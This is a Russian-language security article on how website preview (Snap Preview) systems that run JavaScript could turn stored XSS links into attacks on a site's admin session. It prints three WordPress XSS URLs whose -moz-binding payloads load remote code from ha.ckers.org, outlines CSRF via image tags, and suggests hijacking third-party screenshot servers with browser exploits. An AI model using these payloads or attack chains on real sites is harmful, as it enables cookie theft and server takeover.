Этот материал носит исключительно теоретический характер. Его задача - показать потенциальные проблемы в системах генерации снимков предварительного просмотра Web страниц.
Все, кто следят за последними тенденциями в развитии Web 2.0, не могли не заметить новых функций в AJAX-приложениях. Все последние усовершенствования преследуют одну цель - создать комфорт для клиента. Одной из относительно новых фич является предварительный просмотр для ссылки. Эта технология позволяет вам увидеть снапшот страницы, прежде чем вы на нее зайдете (для этого достаточно навести мышку на ссылку).
С недавних пор в системе управления сайтом WordPress тоже был реализован модуль Snap Preview. Казалось бы, такая безобидная технология не может нанести вреда, если бы не один факт. Как стало известно, Snap Preview хранит в себе скрытую опасность. Посмотрите на этот скриншот с сайта MySpace.com:
Эта страница содержит XSS-уязвимость, и что самое удивительное, в Snap Preview виден результат ее работы - alert(). А это значит, что система сайта при построении картинки предварительного просмотра исполняет JavaScript.
Уже давно не новость, что Google тоже индексирует XSS. Правда, закешированные страницы размещаются поисковиком на вспомогательных серверах, а не на самом google.com. Но работа JavaScript при создании Snap Preview намного опаснее, ведь код исполняется в контексте сервера сайта. Такая оплошность, теоретически, позволяет получить контроль над сайтом, поскольку для CMS (системы управления содержимым, а проще говоря - движка) потенциально доступны все ресурсы сервера на доверительных отношениях. Если хакеру удастся эксплуатировать XSS-уязвимость, то внедренный им JavaScript-код будет иметь доступ к административным страницам (которые недоступны из Web). Атакующий может использовать, например, XmlHttpConnection для изменения настроек сервера или получения административных привилегий Web-приложения. Но если вы думаете, что WordPress - безопасная система управления сайтом, которая защищена от XSS, не спешите с выводами.
На днях довольно известный среди специалистов по безопасности господин RSnake (основатель сайта ha.ckers.org), наслаждаясь утренней сигарой, сообщил
о найденных им уязвимостях в WordPress. Это три ошибки неустойчивого межсайтового скриптинга (nonpersistant XSS), направленные против сессии администратора (корректнее сказать модератора, поскольку администратор-сервер, модератор-сервис). Если задуматься, то модуль Snap Preview при сборе картинок, как и обычный пользователь, перемещается между страницами.
Это значит, что у него есть активная сессия, а раз превьюшки генерируются для каждой из страниц, то напрашивается вывод, что система имеет административные привилегии.
- Один нюанс: на данный момент существует множество решений систем Snap Preview, и часто для этих целей используются сторонние системы, которые размещены на сервере третьей стороны. Такие системы самостоятельно занимаются индексированием и обработкой страниц, а поэтому не имеют фактически никакого отношения к атакуемому сайту. Ниже описанный сценарий имеет место в случае использования модулей Snap Preview, встроенных в основную CMS (или хотя бы исполняющихся на том же сервере).
Собственно, сами уязвимости WordPress эксплуатируются через сервлет post-new.php или user-edit.php:
А.
http://www.site.com/path.to/wp-admin/post-new.php?text=0xfa60
&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html
&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
B.
http://www.site.com/path.to/wp-admin/post-new.php?text=0xfa60
&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html
&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
С.
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1
&wp_http_referer=%22style=-moz-binding:url(%22http:// ha.ckers.org/xssmoz.xml%23xss%22)'
Если администратор сайта перейдет по одной из этих ссылок, внедренных хакером, скрипт может беспрепятственно похитить cookie, создать новость, модерировать комментарии, и даже больше – создавать на сервере собственные PHP-скрипты.
Объединив эти XSS с активным JavaScript в Snap Preview, хакеру нет больше надобности заманивать администратора, чтобы осуществить атаку. Теоретически, ему достаточно оставить на сайте комментарий, содержащий ссылки для XSS-атаки (А, В или С). После чего просто ждать, пока CMS его проиндексирует, и сгенерирует соответствующий Snap Preview.
Также можно добавить, что даже отключение JavaScript не решит сложившейся проблемы в полном объеме. И даже блокирование JavaScript при построении снепшотов не спасает от СSRF. Кстати, сам создатель WordPress - Matt Mullenweg, прокомментировал найденные XSSуязвимости и предложил для RSnake хорошую работенку в отделе безопасности. На что последний только рассмеялся и предложил новый концепт для атаки через СSRF.
Даже отключение JavaScript в Snap Preview не спасет от СSRF. Если вы можете размещать на сервере изображения, у вас есть возможность внедрить произвольный код через тэг IMG, указывающий на сервлет обновления RSS-ленты.
К сожалению, мне не удалось проверить эту атаку, зато прошлые три уязвимости тоже можно адаптировать для СSRF. Для этого вместо JavaScript надо внедрить свой HTML-код с изображениями, фреймами и редиректами, в общем, всем тем, что может быть использовано для осуществления запросов к серверу.
- Второй нюанс: Попрошу администраторов, сайты которых находятся под управлением WordPress, не паниковать. Если у вас установлена система предварительного просмотра, вероятнее всего, это Snap Shots (www.snap.com), которая собирает снимки удаленно. Другое дело службы гиганты, например, MSN. У них для этих целей разработано собственное ПО, которое, скорее всего, лежит в том же домене.
Значит, если на сервере используется сторонняя система сбора картинок, вам вряд ли удастся с ее помощью атаковать сервер. Зато у вас есть все шансы поиграть с безопасностью этой самой сторонней системы. Ведь при создании снимка именно на ее стороне исполняется скрипт.
Как минимум, вы можете воспользоваться недавно обнаруженной уязвимостью Digest Authentication HTTP Response Splitting, чтобы заставить программу сделать снимок с поддельной страницы. Такой себе Snap Preview deface… 🙂
Но вы в состоянии сделать намного больше, снова взгляните на скриншот с MySpace. Думаю, всем отчетливо видно, что такое окно alert() принадлежит Firefox. Значит, на сервере установлен именно он! Обладая, соответствующим 0day-эксплоитом для FirefoxЭ, можно попытаться захватить сам сервер. Неплохой разгон, если вспомнить, что речь идет о такой безобидной функции, как предварительный просмотр.
Даже если у вас нет эксплоита для Firefox, не огорчайтесь. Специально для вас создан ресурс browsershots.org. Он позволяет сделать снимок одного сайта в разных браузерах. Список действительно внушает: Firefox, Galeon, Epiphany, Konqueror, Opera, Safari и даже Flash, и многое другое. Этот сайт сделан специально для веб-разработчиков, чтобы они имели возможность взглянуть на то, как их сайт будет смотреться в разных браузерах. Хакер же получает уникальную возможность захвата действительно мощного сервера с широким каналом. У него, как никогда, есть все шансы для успешной атаки, такое разнообразие браузеров и еще большее количество существующих в них уязвимостей…